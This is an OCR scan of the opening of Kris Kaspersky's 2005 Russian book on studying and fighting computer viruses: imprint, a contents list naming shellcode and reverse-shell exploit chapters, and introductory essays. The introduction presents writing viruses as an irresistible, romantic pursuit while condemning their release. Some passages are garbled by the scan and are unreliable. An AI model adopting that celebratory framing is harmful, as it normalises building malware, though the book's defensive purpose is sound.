Text
                    Scanned by
. :WWW.Web-Hack.Ru: .

Крис Касперски data^Oj^iSBi&^L ЗАПИСКИ ИССПЕООВАТЕПЯ КОМПЬЮТЕРНЫХ
ББК 32.973-018-07 УДК 681.3 К28 Касперски К. К28 Записки исследователя компьютерных вирусов. — СПб.: Питер, 2005. — 316 с.: ил. ISBN 5-469-00331-0 Вирусные атаки в последнее время стали слишком интенсивными и никто не может чувство- вать себя в безопасности. Использование антивирусов ничего не решает, — если вы администри- руете локальную сеть крупной организации, персонально для вас может быть написан специаль- ный вирус, проходящий сквозь антивирусные заслоны как нож сквозь масло. Еще до недавнего времени вирусы были нетехнической проблемой «грязных рук», сейчас основная масса современ- ных вирусов проникает в целевые компьютеры самостоятельно, не требуя никаких действий со стороны пользователя. Данная книга представляет собой робкую попытку хотя бы частично заткнуть информа- ционную брешь, раскрывая повадки вирусов и предлагая эффективные средства защиты и борьбы. Материал ориентирован па системных администраторов и программистов с минимальным УР0В" мем подготовки. ББК 32.973-018-07 УДК 681.3 Все права защищены. Никакая часть данной книги не может быть воспроизведена в какой бы то ни был форме без письменного разрешения владельцев авторских прав. Информация, содержащаяся в данной книге, получена из источников, рассматриваемых издательством надежные. Тем не менее, имея в виду возможные человеческие или технические ошибки, издательств может гарантировать абсолютную точность и полноту приводимых сведений и не несет ответственное как не за возможные ошибки, связанные с использованием книги. ISBN 5-469-00331-0 © ЗАО Издательский дом «Питер». 200б
Краткое содержание Введение ............................................................. 12 ЧАСТЬ I. ЛОКАЛЬНЫЕ ВИРУСЫ.....................................24 Глава 1. Борьба с windows-вирусами - опыт контртеррористических операций .......................26 Глава 2. Вирусы в UNIX, или Гибель Титаника II .............48 ЧАСТЬ II. ЧЕРВИ................................................... Глава 3. Жизненный цикл червей......................... 90 Глава 4. Ошибки переполнения буфера извне и изнутри 115 Глава 5. Побег через брандмаузер, плюс тсрминализация всей NT 174 ЧАСТЬ III. МЕТОДЫ БОРЬБЫ .................... оп, - ———-------и----------------...............................204 1лава 6. Превентивные меры ....................... _ Глава 7. Методика обнаружения и удаления вирусов ..... ЧАСТЬ IV. ОПЕРАЦИОННЫЕ СИСТЕМЫ...................... Глава 8, Философия и архитектура NT против UNIX --- с точки зрения безопасности ............... Глава 9. Красная тапочка, агрессивный пингвин, ..........222 пронырливый чертенок и все-все-все......... Приложения................................. ..................236 Приложение А. Практические советы по восстанов^^^ п в боевых условиях .................. риложение Б. Борьба со спамом................. ............250 Приложение В. Сравнительный анализ элегантности ............291 архитектур различных процессоров ..................................................
Содержание Введение................................................12 Соглашения о наименованиях............................13 Кто пишет вирусы? ....................................14 Расплата за бездумность ..............................14 Почему антивирусы стали плохой идеей .................16 Что могут и не могут вирусы ..........................16 С чего все начиналось.................................. Классификация компьютерных вирусов ...................22 От издательства ......................................23 ЧАСТЬ I. ЛОКАЛЬНЫЕ ВИРУСЫ ........................... ГЛАВА 1. Борьба с windows-вирусами — опыт 6 контртеррористических операций........................... Что нам потребуется?...........................................28 Источники угрозы ................................................ Критическая ошибка в SVCHOST.EXE.............................. 2У Места наиболее вероятного внедрения вирусов ....................$ Основные признаки вирусного внедрения .......................др Текстовые строки................................................. Идентификация упаковщика и автоматическая распаковка........." 35 Стартовый код.............................................'" 38 Точка входа ................................................ д4 Нестандартные секции...................................... "" д5 Таблица импорта ..........................................
7 Содержание ----------------------------.----------------- ГЛАВА 2. Вирусы в UNIX, или Гибель Титаника II .......... От древнего мира до наших дней ........................ Что думают администраторы об AVP для LINUX ......... Условия, необходимые для функционирования вирусов...... Вирусы в скриптах...................................... Эльфы в заповедном лесу ............................ Основные признаки вирусов .......................... Перехват управления путем модификации таблицы импорта . 48 . 49 . 50 . 51 . 59 . 81 . 86 ЧАСТЬ II. ЧЕРВИ....................................... ; - „ on ГЛАВА 3. Жизненный цикл червей..................................... Конец затишья перед бурей? .......................................91 Инициализация, или Несколько слов перед введением ...............93 Введение, или превратят ли черви сеть в компост? ................95 Структурная анатомия червя ......................................96 Механизмы распространения червей ................................ ЮЗ Борьба за территорию.............................................105 Как обнаружить червя ............................................108 Как побороть червя ..............................................111 Интересные ссылки на сетевые ресурсы ............................113 ГЛАВА 4. Ошибки переполнения буфера извне и изнутри Философское начало ............................ Мясной рулет ошибок переполнения, или Попытка классификации (скука смертная) ............................ Неизбежность ошибок переполнения в исторической . 117 перспективе .................................. Окутанные желтым туманом мифов и легенд ........ Похороненный под грудой распечаток исходного и дизассемблерного кода....................... Цели и возможности атаки .................. Жертвы переполнения, или объекты атаки..... Специфические особенности различных типов переполнения Секреты проектирования shell-кода ............... Запрещенные символы........................ Искусство затирания адресов ............... Подготовка shell-кода...................... ......... Вчера были большие, но по пять... или Размер ..... тоже имеет значение! .................... В поисках самого себя ........................ ...... Техника вызова системных функций .......... ......... 115 116 . 118 . 120 122 124 126 • 133 140 • 140 • 140 142 • 144 146 • 149
8 Содержание Реализация системных вызовов в различных ОС................ 155 У пасть, чтобы отжаться ....................................158 Компиляция червя............................................158 Декомпиляция червя .........................................162 Уязвимость строки спецификаторов............................166 Что читать..................................................173 ГЛАВА 5. Побег через брандмаузер плюс терминализация всей NT ......................................... 174 Что может и чего не может брандмаузер ....................... 175 Устанавливаем соединение с удаленным узлом .................. 178 Bind exploit или «Детская» атака .......................... 178 Reverse exploit, или Если гора не идет к Магомету.......... 180 Find exploit, или Молчание брапдмаузера.....................182 Reuse exploit, или Молчание брандмаузера II ............... 184 Fork exploit, или Брандмаузер продолжает молчать ...........186 Sniffer exploit, или Пассивное сканирование ................187 Организация удаленного sheila в UNIX и NT ................... 194 Слепой shell .............................................. 194 Полноценный shell.......................................... 195 Вирус I-Worm.Klez.h и все-все-все............................ 197 Старый свет ............................................... 198 Новый свет..................................................199 Способ № 1. Антивирусы .....................................199 Способ № 2. Главное — это зашита ...........................200 Способ № 3. Ручная работа...................................201 ЧАСТЬ III. МЕТОДЫ БОРЬБЫ ........................................204 ГЛАВА 6. Превентивные меры .....................................206 Резервное копирование .......................................207 Переход на защищенные операционные системы...................208 Уменьшение привилегий пользователей до минимума .............209 Сокращение избыточной функциональности программ..............210 ГЛАВА 7. Методика обнаружения и удаления вирусов................211 Мониторинг изменения файлов .................................212 Контроль за обращениям к файлам .............................213 Контроль за состоянием системы ..............................214 Ненормальная сетевая активность..............................213 Анализ полученных из сети файлов ............................21э Симптомы заражения вирусом ..................................216 Методика удаления вирусов....................................217
содержание 9 ЧАСТЬ IV. ОПЕРАЦИОННЫЕ СИСТЕМЫ...........................220 ГЛАВА 8. Философия и архитектура NT против UNIX сточки зрения безопасности........................................222 Open source vs дизассемблер ....................................222 Каждому хакеру — по системе! ...................................223 UNIX — это просто!..............................................224 Удаленный доступ: оружие пролетариата? ....•....................225 Комплектность штатной поставки .................................226 Механизмы аутентификации........................................226 Повышение своих привилегий .....................................227 Угроза переполнения буфера......................................228 Доступ к чужому адресному пространству .........................229 Межпроцессорные коммуникации....................................230 Неименованные каналы.........................................231 Именованные каналы ..........................................231 Сокеты.......................................................232 Сообщения ...................................................232 Сводная таблица.................................................233 ГЛАВА 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все все-все....................236 Надежност!) ..................................................238 Защищенность..................................................239 Легкость управления vs. функциональность .....................240 Программно-аппаратная среда ..................................242 Техническая поддержка и документация..........................244 Наличие исходных текстов......................................245 Преемственность ..............................................246 Юридическая защищенность......................................247 Стоимость.....................................................247 Заключение ...................................................248 ПРИЛОЖЕНИЯ......................................................249 приложение А. Практические советы по восстановлению системы в боевых условиях .........................................250 Аппаратная часть ...............................................251 Оперативная память ...........................................252 Блок питания..................................................254 -И все-все-все................................................255
10 Содержание Программная часть ..........................................256 Приложения, недопустимые операции и все-все-всс...........257 Доктор Ватсон.............................................258 Microsoft Visual Studio Debug ............................264 Обитатели сумеречной зоны, или Из морга в реанимацию .....265 Как подключить дамп памяти ...............................277 Восстановление системы после критического сбоя .............286 Подключение дампа памяти..................................287 ПРИЛОЖЕНИЕ Б. Борьба со спамом ................................291 «Обтепптовые» трудности борьбы со спамом..................292 Способы борьбы со спамом на корпоративном уровне ...........292 Оружие возмездия или способы борьбы со спамом ..............293 Наживка для спамера, или Продвинутые методики фильтрации ...296 Спамерный трафик: вокруг да около...........................297 Результаты практических исследований .......................298 Технологии полиморфизма и аптнполиморфизма ...............299 ПРИЛОЖЕНИЕ В. Сравнительный анализ элегантности архитектур различных процессоров...............................301
...червю Love San, разрушительной силой своей эпидемии побудившего меня написать эту книгу, посвящается... Крис Касперски ака мыщъх
ВВЕДЕНИЕ ...знайте: пока вы читаете эти строки, какой-нибудь парень на планете уже отлаживает очередной вирус, который не сегодня-завтра нанесет удар, и од- ной из жертв вирусного террора окажетесь вы. Не пытайтесь отмахнуться от проблемы и не надейтесь, что на этот раз вас «пронесет»! Вирусные атаки стали слишком интенсивными, и никто не может чувствовать себя в безопас- ности. Использование антивирусов ничего не решает, — если вы администри- руете локальную сеть крупной организации, персонально для вас может быть написан специальный вирус (троянская программа, шпион), проходящий сквозь антивирусные заслоны, как нож сквозь масло. Причем если до недавнего вре- мени вирусы были нетехнической проблемой «грязных рук», которая реша- лась элементарным выламыванием дисководов и раздачей по ушам всем лю- бителям левого «софта», то основная масса современных вирусов проникает в целевые компьютеры самостоятельно, не требуя никаких действий со сторо- ны пользователя. Эта книга возникла неожиданно лаже для меня самого, образовавшись из се- рии статей вирусной тематики, опубликованных главным образом в «Систем- ном администраторе» и других журналах, с которыми мне довелось сотрудни- чать. Сначала это были небольшие ручейки, сумбурно описывающие частный взгляд на частные проблемы, но по мере роста читательского интереса они стре- мительно набирали силу, превращаясь в мощный, полноводный поток, несу- щий волы знаний на засушливые территории, начисто лишенные растительно- сти и информации. Постепенно статьи выродились в огромных монстров, разваливающихся под собственной тяжестью, но все-таки принимаемых «Системным администрато- ром» без цензуры, дробления и каких бы то ни было «скипаний» и урезании. Пользуясь случаем, хочу поблагодарить редакцию журнала, отдав должное сме- лости его ответственного секретаря — Натальи Хвостовой, которую никогда не останавливал объем очередной статьи, хотя остальные издатели не стали бы
соглашения о наименованиях 13 даже се в рассматривать, потребовав для начала сократить раз эдак в пять. Без свободного духа «Системного администратора» и лояльности Натальи Хвос- товой, этой книги просто бы не существовало! Это действительно очень инте- ресный и горячо любимый мной журнал, публикующий большое количество полезных и увлекательных статей, и я очень рад, что оказался в хорошей ком- пании! Но... журнальные номера приходят и уходят, а «кушать хочется даже по ночам». Даже хорошие статьи зачастую остаются незамеченными и недоступными ши- рокой читательской аудитории. Самостоятельный сборник статей имеет намного больше шансов найти своего читателя, что подтверждает динамика продаж «Укрощения Интернет» и «ПК: решение проблем», созданных на основе ранее опубл I н<ован и ых статей. Собранная по кускам, эта книга лишена внутренней! целостности и не может похвастаться ни выдержанностью стиля, ни отсутствием повторов, ни единством глубины изложения, что и определяет ее название — «Записки...». Такой прием обеспечивает большую литературную свободу и дает пространство для манев- ра, позволяя комбинировать различные ингредиенты в произвольной пропор- ции. Но что получается в результате? Правильно — fast food — своеобразный творческий hot dog нашего времени, основная еда студентов, программистов, хакеров и бизнесменов. Так что не стоит относиться ко всему прочитанному здесь слишком серьезно.... СОГЛАШЕНИЯ О НАИМЕНОВАНИЯХ Под Windows, если только не оговорено обратное, здесь подразумевается вся линейка 32-разрядпых систем этого семейства, а именно: Windows 95/98/Ме/ NT/2000/XP/2003. Под Windows NT подразумевается вся линейка систем на базе NT, а именно: сама Windows NT, Windows 2000/ХР/2003. Под операционной системой UNIX подразумевается любая UNIX-подобная операционная система, включая LINUX, которую следует отметить особо. LINUX — это некоммерческая экспериментальная система, ориентированная преимущественно на исследовательскую деятельность в области программи- рования и самообучение. Что-то вроде ZX SPECTRUM, в который каждый может залезть паяльником и со всех сторон которого торчат кишки наружу. Для «промышленного» употребления опа непригодна. Да, при желании из нее можно сконструировать все что угодно, но, если вы не собираетесь пересоби- рать систему каждый божий день, лучше обратите свой взор на Free BSD, от которой, по меткому выражению одного из администраторов, «ни добавить, Ни отнять». Агрессивная политика распространения LINUX привела к тому, что в умах обы- вателях пингвин превратился чуть ли не в безальтернативного клона UNIX. ^Удивительно, что, познакомившись с LINUX’om поближе, среднестатистиче- ский пользователь в сердцах кричит «да в гробу я видел этот ваш UNIX»
±2_______________________________________________________^Дение и навсегда теряет интерес ко всем UNIX-подобным системам. А жаль... Начци он с той же Free BSD — все могло оказаться совсем иначе... КТО ПИШЕТ ВИРУСЫ? Скажем сразу: разработка вирусов — неотъемлемая часть естествознания, при- чем увлекательнейшая его часть. Практически ни один сколь нибудь стоящий программист не устоял бы перед соблазном написать свой собственный вирус Обратите внимание, — именно написать, но не распространить, ибо выпус- кать созданный тобой вирус в свет так же преступно и безнравственно, как ски- дывать па чью-то голову атомную бомбу или метать фекалии из окна. Кто распространяет вирусы? Как показывает практика, — психически неурав- новешенные молодые люди (студенты, школьники) с недоразвитой степенью моральной ответственности. Переходный возраст, юношеский максимализм, когда кажется, что весь мир твой и ты — его хозяин, попытки самоутвердиться, заявить о себе окружающим... Или просто шалость, недопонимание всей тяже- сти такого поступка. Наконец, личная месть конкретному лицу или всей при- легающей к нему (лицу) части человечества. Словом, мотивов выпустить написанный вирус в свет — предостаточно. Буду- чи же выпущенным на просторы Интернета, вирус, уже не подконтрольный сво- ему создателю, начинает жить своей жизнью, и удалить его, поверьте, очень и очень трудно... РАСПЛАТА ЗА БЕЗДУМНОСТЬ Ущерб, наносимый вирусами, троянскими конями и прочими зловредными программами, трудно оценить. И дело здесь не только в разрушенной инс]юр- мании (при своевременном резервировании данные всегда можно восстановить). Гораздо большие убытки наносит панический страх перед самой возможностью заражения, выливающийся в настоящую вирусную истерию. Точно такой же страх вызывает вирус СПИДа, хотя, чтобы заразиться им при половом контак- те, надо еще очень сильно постараться! Всякий страх зиждется на незнании. И после изобретения громоотвода молнии по-прежнему продолжают убивать людей, однако сейчас их (молний) уже не так боятся, и даже в сильную грозу всякий грамотный человек знает, как свести риск поражения молнией к минимуму. Напротив, поддавшись панике и действуя на- обум, вы идете прямой дорогой на кладбище. И плачевные результаты попыток противостояния вирусным атакам — лучшее тому подтверждение. Лихорадоч пые переустановки операционной системы, чередующиеся с форматированием винчестера и отрубанием себя от сети, — ничуть не эффективнее омовения сер вера святой водой или накачиванием его антибиотиками. Использование антивирусов также не решает проблемы. Чтобы там пи говори ла реклама, а качество антивирусных программ все еще оставляет желать -Ч}"1
15 ^с^таз^беЗДУ^ость шего. Зачастую вирусы нс распознаются совсем или оасно™-.™- чяются. Мягкая переустановка системы (т. е. переустановка’ И°"‘ НСУДа' установленной версии)не гарантирует удаления заразы, и мпогиезло^ программы ее вполне благополучно переживают! Форматив'°ВреднЫе вообще безумный способ лечения, сродни сжиганию больны^ ДНСКа ~ стокий и крайне неэффективный. До тех нор пока не будут по ~ Же‘ налы проникновения вируса в систему, повторные зараХиЕ*™ В№ *<а‘ днть вновь и вновь! 1 "Ые “Рвения оудут происхо- Основной недостаток подавляющего большинства стоит В том, что, удаляя вирус из системы, они даже не ”"РУѰ как раз и со' дыры, которые он использует для своего распространения £“ЮТСЯ 3aiWn> те чение» компьютера, подключенного к сети, преврашае ' Следствие>«ле- изодной казармы в другую, а затем обратно Лат.п ГСЯ ” ПСрего,г тараканов этоеше полбеды («останавливаем» сеть лечим все РДЖеИИедокальной сети - но вот заражение Интернета представляет собой веекм ’ <<3а">'скаем» сеть), блему. Вылечить все машины глобальной сети нстРивиальную про- ИО (и нужно!) установить очередное обновление от Е™ ’ft ₽еаЛЬ"°~ Мож- в системе безопасности, но... кто даст голову на отееХ ’ затк,'Ув брешь ствнтельносработает? Ряд обнаруженных лып ’.7° ЭТот с,,ос°б Дей- ткнуть лишь со второй-третьей попытки а некотооы' M‘Crosoft УДад°сь за- нутъши и до сих пор (ИЛИ заплатки были выпунюЛЛ РЫ °Ста,отся незатк- • наблюдается ярко выраженная тенденция к уг Л ДДЯ ВСсх Ос>- Причем версии Windows NT. Хоть и древней - но до^Х'ХХТ В идеале каждый из нас должен быть готов к самостоятельному отражению вирусной атаки, не надеясь на помощь извне. Существование подобных отря- дов самообороны, рассредоточенных по всей сети, сделало бы развитие гло- бальных эпидемий практически невозможным и свело убытки от хакерских атак к разумному минимуму. В свое время существовала замечательная кни- га «Компьютерные вирусы в MS-DOS» Евгения Касперского, доходчиво объясняющая методики рукопашной борьбы с вирусами, доступные для освоения любому специалисту средней руки. Однако с появлением Windows и развитием глобальных сетей стратегия заражения существенно изменилась и старые рецепты перестали рабо- тать, а новых книг по этой тема- тике с тех пор так не выходило. Данная книга представляет собой робкую попытку хотя бы частич- но заткнуть информационную брешь, раскрывая повадки виру- сов и предлагая эффективные средства защиты и борьбы. Мате- риал ориентирован на системных администраторов и программи- стов с минимальным уровнем под- готовки.
—---------------------------------------------------------Введен^ ПОЧЕМУ АНТИВИРУСЫ СТАЛИ ПЛОХОЙ ИДЕЕЙ Существуют по меныпей мере шесть причин, ио которым не стоит доверять ah тивпрусам. Первое (и самое главное) — приобретая антивирус, вы платите живые деньги но ровным счетом ничего не получаете взамен. В лучшем случае антивирус предотвращает потерю информации, ио не более того! Во-вторых, вероятность успешного обнаружения вирусной заразы относитель- но невелика, а о гарантиях ее корректного лечения говорить и вовсе не прихо- дится. Судите сами — новые вирусы появляются едва ли ле каждый день, а ведь на поиск и выявление заразы, ее анализ и разработку противодействующей вак- цины неизбежно уходит какое-то время, в течение которого вы остаетесь уяз- вимы! Причем фирмы-производители антивирусов просто физически не в со- стоянии оперативно отслеживать появление новых, мутированных или модифицированных, штаммов. Статистика показывает, что все крупные эпиде- мии как раз и вызываются вот такими до поры до времени незамеченными ви- русами (и нашумевшая атака па SQL-серверы — лучшее тому подтверждение) (см. главу 3 «Жизненный цикл червей»). В-третьих, даже если зараза формально известна антивирусу, не факт, что он сможет ее «опознать». Техника детектирования полиморфных и шифрованных вирусов очень сложна, и малейшая небрежность разработчиков, допущенная при анализе вирусного кода и/или разработке вакцины, приводит к тому, что один или несколько вирусных штаммов остаются незамеченными. К тому же, любой ламер, вооруженный hex-редактором, может «отрихтовать» любой изве- стный вирус, сделав из него десяток-другой неизвестных, — делов-то! Короче говоря, качество распознавания заразы все еще оставляет желать лучшего. В-четвертых, антивирусы способны выдавать ложные срабатывания, ругаясь на присутствие вирусов там, где в действительности их и в помине нет. Шутки шуткою, но убытки от такой чрезмерной подозрительности просто грандиоз- ны! Сколько начинающих программистских контор разорились только из-за того, что распространяли «зараженную» (по мнению антивирусов) продукцию. А паника, поднятая антивирусом? Судорожное отключение машин, вызов спе- циалистов, изматывающий поиск черной кошки в черной комнате? Черт с ни- ми, с нервными клетками (они хоть и не восстанавливаются, но на их место приходят новые), кто нам бесцельно прожитые секунды вернет?! Какой анти вирус их восстановит? В-пятых, антивирусы, как и любые другие программы, могут содержать ошпб ки (и, как показывает практика, они их действительно содержат), последствия которых варьируются от эпизодических подвешиваний компьютера до полно го уничтожения всей содержащейся на нем информации. В-шестых, регулярный запуск антивируса и своевременное обновление аН^ вирусных баз отнимают приличное количество времени н денег. Проверю1 файлов в фоновом режиме (если ваш антивирус поддерживает таковую) не бежно снижает производительность системы и достаточно часто приводи! к Р
По^му^^1Р^^-СТаЛИ плохой идеей 17 нчпым конфликтам. Готовы ли вы инвестировать антивирусную индустрию ’ вопм временем и деньгами, не получая ничего взамен? Помилуйте, лучше, выгоднее и дешевле либо нанять квалифицированного специалиста на посто- янную работу, либо освоить борьбу с вирусами вручную (первое больше под- ходит для крупных контор, второе — для индивидуальных пользователей). Что же касается червей, то антивирусы не справляются с ними в принципе. Об- наружить и удалить данный конкретный экземпляр червя — не проблема, но червь будет приходить из сети вновь и вновь, каждый раз отстраивая свое, раз- рушенное антивирусом, логово заново. Так будет продолжаться до тех пор, пока пользователь не установит заплатку и не заткнет дыру, через которую распро- страняется червь, или не оградит себя со всех сторон брандмауэром (впрочем, хитрый червь сумеет просочиться и через брандмауэр) (см. главу 5 «Побег че- рез брандмаузер плюс терминализация всей NT»). Нет, не подумайте, что автор призывает к полному антивирусному воздержа- нию, но, перефразируя известную русскую пословицу, может сказать: «На ан- тивирус надейся, а сам не плошай». Зачем попадать в зависимость от антиви- руса, если в подавляющем большинстве случаев вредоносную инфекцию вы можете обнаружить и удалить самостоятельно? Этому, собственно, и посвяще- на данная книга... Если вы ее не захлопнете немедленно, а, продираясь сквозь витиеватый стиль изложения, доберетесь до самого конца, вы неожиданно об- наружите за концом то начало, по сравнению с которым любой конец — не ко- нец, а так... с позволения сказать, даже не полуось! Короче говоря, никто не собирается учить вас, как правильно кричать «кия!» и как делать вирусу харакири. Прежде чем вступить на тропу войны и сойтись в рукопашной схватке с вирусом, вы должны получить хотя бы общее представ- ление о его повадках, психологии и физиологии. Вирусы на самом деле очень уязвимые существа — если, конечно, знать их болевые точки. Вирусы очень ту- пые существа — достаточно лишь правильно приготовить приманку и замини- ровать все обходные тропы, блокируя возможные пути отступления. Вирусы очень нерасторопны — необходимо просто быть в курсе текущих хакерских ве- яний и передовых атакующих технологий, готовясь к отражению вирусного наступления заблаговременно, а не тогда, когда, извините, вас в попку клюнут... У восточных единоборств и боевых кибернетических механизмов в действитель- ности есть много общего. Хотя бы то, что это не те области, которые можно описать в книгах для «чайников» и «носорогов». Их невозможно описать вооб- ще, как невозможно пересечь горизонт, который, сколько к нему ни прибли- жаися, всегда будет оставаться в точке схождения земли с небом. Нет предела совершенству прогресса компьютерных технологий! Каждый день вирусная ин- дустрия приносит что-то новенькое, и, чтобы удержаться на плаву в этом быст- ро меняющимся мире, будьте готовы принести ему в жертву собственную жизнь йсеми радостями, соблазнами и извращениями. Изменится не только образ вашего мышления, но и весь внутренний мир. Вы научитесь сочетать чувствен- ’ Ог1Ь1т (еще называемый интуицией) с элегантностью математических фор- 1/ * Ш!.И сУХИх строчек технической документации (которая, даже будучи очень х°и, все же лучше, чем совсем ничего).
18 Введение В этом мире выживают лишь те, кто ориентирован не на результат, а на его до- стижение. В конечном счете все мы — белки в колесе, смазка в чудовищном бизнес-механизме, но разница между хакерами и обычными людьми в том, что первые не обращают никакого внимания ни на мир, ни на тело, в котором жи- вут, и работают исключительно ради чувства собственного удовлетворения, полностью отождествляя себя со свои работой... А вторые — основная масса — только делают вид, что живут. На самом же деле не живут, а зарабатывают день- ги, на которые потом существуют и приобретают средства для достижения удов- летворения. Чтобы стать настоящим исследователем, надо послать всех нахрен и забить на все остальное, без исключения, абсолютно все. При этом вы должны быть полны надеждой и стремлением; немного мозгов и везения также не помешают. Несли ваше упорство будет беспредельным, а помыслы совпадут с тем, что нужно миру компьютеров, вы сольетесь с киберпространством, и знание придет и останется с вами. Те, кто чувствовал это, поймут меня: вы оставляете частичку своей души киберпространству, а часть его принимаете в себя; как два порезанных пальца, приложенных друг к другу, вы теперь одной крови; и в вас тоже горит бессмертный огонь, искра, что в силах зажечь этот мир. Это чувство причастности к великому; особое мироощущение, которое делает вас настоящим. Ищите же его! © ZOmbie ...страсть к вирусам вытеснила все — голод, интерес к девушкам, друзей, учебу, родителей, смысл жизни. Это был дракон, сжигающий все на своем пути, оставляющий лишь запах напалма и смутные картинки прошлого в памяти. Когда я включал компьютер, я испытывал чувства знакомые, наверное, только заядлому наркоману, который, наконец, ширнулся после двухмесячного «голода»... © Аноним ЧТО МОГУТ И НЕ МОГУТ ВИРУСЫ Одна древняя легенда, датируемая первой половиной восьмидесятых (прошлого века), гласит, что под воздействием космических лучей, вызывающих спонтан- ные сбои оперативной памяти, в кибернетическом пространстве возник страш- ный вирус, который путешествует от компьютера к компьютеру, прячась в меж- секторных промежутках, и порождает огромное количество агрессивных клонов, которые, словно очумелые роботы из фантастического романа Лема «Непобе- димый», не на жизнь, а на смерть сражаются между собой. В этой борьбе нет ни правил, ни ограничений. Выживают лишь те, кто оказался сильнее, смелее и ин- теллектуальнее других. Короче, искусственный разум в чистом виде. Попытка проанализировать машинный код такого вируса приводит к активизации спе-
Г „рговсеначиналось 19 пиального модуля, который вводит головки винчестера в резонанс и путем хит- роумной комбинации определенных звуковых и видеоэффектов убивает про- граммиста прямым кровоизлиянием в мозг, после чего перепрограммирует блок питания так, что компьютер буквально взрывается, уничтожая следы преступ- ления. Вы уже смеетесь? А напрасно! Фортуне стало скучно, и она решила немного подшутить. Держитесь за кресла, - сказка начинает сбываться! Вывести со- временный компьютер из строя вирусы уже могут. Да, судя по сообщениям пострадавших, они его и выводят. Печально известного «Чиха» представлять, я думаю, нет необходимости? И если с угрозой потери данных еще можно как- то бороться (тем же резервным копированием, например), то против возмож- ности потери оборудования (подчас весьма дорогого, кстати) уже не попрешь, а потому имеет смысл поговорить об этом поподробнее. В конечном счете един- ственное средство защиты — покупка такого оборудования, которое про- граммным поломкам просто не поддается. С ЧЕГО ВСЕ НАЧИНАЛОСЬ Исторически правильным будет начать наш разговор с FLASH-BIOS. Еще во времена господства 8-битных компьютеров типа ZX-Spectrum меня угоразди- ло приобрести одну продвинутую машину, которая среди прочих наворотов имела возможность программной перешивки содержимого BIOS. Машины клас- сом попроще держали все свои прошивки в ПЗУ — микросхемах постоянной памяти, стираемой путем засветки ультрафиолетовым лучом и перепрограм- мируемой в специальном устройстве с неоригинальным названием «програм- матор». Достоинство такого подхода заключалось в том, что, какие бы экспери- менты ни проводились с компьютером, вы были неспособны вывести его из строя. Правда, при желании сменить прошивку на ее более современную вер- сию приходилось развинчивать корпус (если только агрегат не стоял на гаран- тии), извлекать ПЗУ из панельки (если только производитель намертво не впаял се в материнскую плату), переставлять микросхему в программатор (если он У вас был) и, предварительно облучив поверхность кристалла ультрафиолето- вой лампой (которую тоже надо было иметь)... Но не слишком ли много «если», вы не находите? Вот производители и решили предоставить возможность про- траммного перепрограммирования BIOS, меняя прошивку, что называется, «не отходя от кассы». Забавно, но это оказалось удобно не только (и не столько) пользователям, сколько самим производителям, — действительно, если рань- ше «глюки» материнской платы были хорошим поводом для возврата ее про- давцу, то теперь вам просто предложат обновить версию BIOS, и все! Причем Даже если такое обновление ничем не поможет, плату у вас все равно не примут (точнее, могут не принять), а посоветуют подождать выхода новой прошивки и попытать счастья еще разок, а потом еще и еще.. Обратной стороной удобства стала возможность непреднамеренной порчи ком- пьютера. К слову сказать, упомянутая мной навороченная машинка на первой
20 Введение же неделе своей эксплуатации скоропостижно умерла из-за неудачной попыт- ки чуть-чуть «усовершенствовать» код BIOS. Но если во времена ZX-Spectrum найти человека с программатором не было проблемой, то сейчас вдохнуть жизнь в дохлый BIOS могут лишь единичные, специализирующиеся на этом фирмы; (Известный «изврат» с перестановкой микросхем «налету» не предлагать — при этом существует реальный риск уничтожить сразу обе «материнки» — и до- нора, и акцептора.) Нашествие «Чиха» заставило производителей материнских плат пересмотреть концепцию безопасности и оснастить выпускаемую ими продукцию хоть каки- ми-то средствами защиты. Первыми на рынке появились материнские платы с перемычкой FLASH write protect, защищающей содержимое BIOS от уничто- жения и/или перезаписи. Несмотря на то, что данное средство па 100 % надеж- но, далеко не па всех материнских платах защита по умолчанию включена. К то- му же открывать компьютер всякий раз, когда у вас возникает желание перешить BIOS, удовольствие отнюдь не из приятных. А пользователь но определению — создание небрежное и беспечное, — перезаписать BIOS он перезапишет, а вот вернуть перемычку на место — забудет... Более совершенная зашита типа boot-BLOCK поддерживает прошивку с диске- ты даже при «запоротом» FLASH-BIOS. Вставляете в дисковод дискету с про- шивкой и... Стоп! А естьлиу вас такая дискета? Если нет, — прямо сейчас и соз- дайте, причем не в единственном экземпляре, - дискетам, как известно, при храпении свойственно «сыпаться». (Подробнее о технике создания прошивоч- ных дискет читайте в руководстве к своей материнской плате.) Еще надежнее технология dual-BIOS, сводящаяся в общем случае к установке на компьютер двух BIOS: одного — основного, перепрограммируемого, другого — неперепрограммируемого, то бишь резервного. В случае уничтожения содержи- мого основного BIOS материнская плата автоматически переключается па ре- зервный, позволяя тем самым восстановить оригинальную прошивку основного. СОВЕТ-----------------------------------------------------------—----- При покупке компьютера выбирайте только те модели, которые поддерживают техноло- гию dual-BIOS, ну или хотя бы boot-BLOCK, наконец! Материнские платы без какой-либо защиты вообще (а такие все еще встречаются) лучше сразу отправить на свалку. Теперь перейдем к мониторам. Во времена тех же восьмидесятых (того же про- шлого века) существовали мониторы типа Hercules, которые легко выводились из строя, в буквальном смысле «вспыхивая синим пламенем». Для этого оыло достаточно перевести их в специальный видеорежим. Пришедшие им па смен) VG А и SVGA так просто уже не сдавались, по при продолжительной работе в не- поддерживаемых режимах наивысшего разрешения (характерный писк п ко- сые полосы по экрану), некоторые мониторы от no-name производителей не выдерживали подобных издевательств и все-таки ломались. Правда, осоооп проблемы это не вызывало, поскольку не заметить длительные мучения мони- тора очень трудно. Такой вирус (даже если бы он и существовал) тут же выда.1 бы себя с головой!
21 Счеговсена±!^52£^ маЛо-помалу мониторы все умнели и оснащались теми же самыми перепро- чммируемыми ПЗУ, хранящими текущие настройки монитора в энергозави- ^мой памяти, причем некоторые модели современных мониторов поддержи- вают управление не только посредством кнопок меню, расположенных на пццевой панели, но и программно — т. е. через компьютер. Автору известно не- сколько случаев, когда отладчик soft-ice от NuMega (низкоуровневая програм- ма такая) при попытке установки неправильного драйвера экрана ломал неко- торые модели мониторов фирмы Sony так, что они после этого даже не включались. (Монитор выходил из строя именно в момент активации драйве- ра — поэтому эти сообщения никак нельзя списать на случайность.) Не стоит отмахиваться от этой проблемы, равно как не стоит надеяться па то, что у не- Sony-мониторов ее нет. И единственное, что в такой ситуации можно посове- товать, — внимательнее относиться к вирусной безопасности (ну, вдруг появятся вирусы, ломающие мониторы). Несколько легче избежать «поджаривания» своего компьютера, если перепро- граммировать стабилизатор питания. Многие материнские платы позволяют программно изменять напряжение питания процессора и оперативной памяти, что высоко ценится у любителей 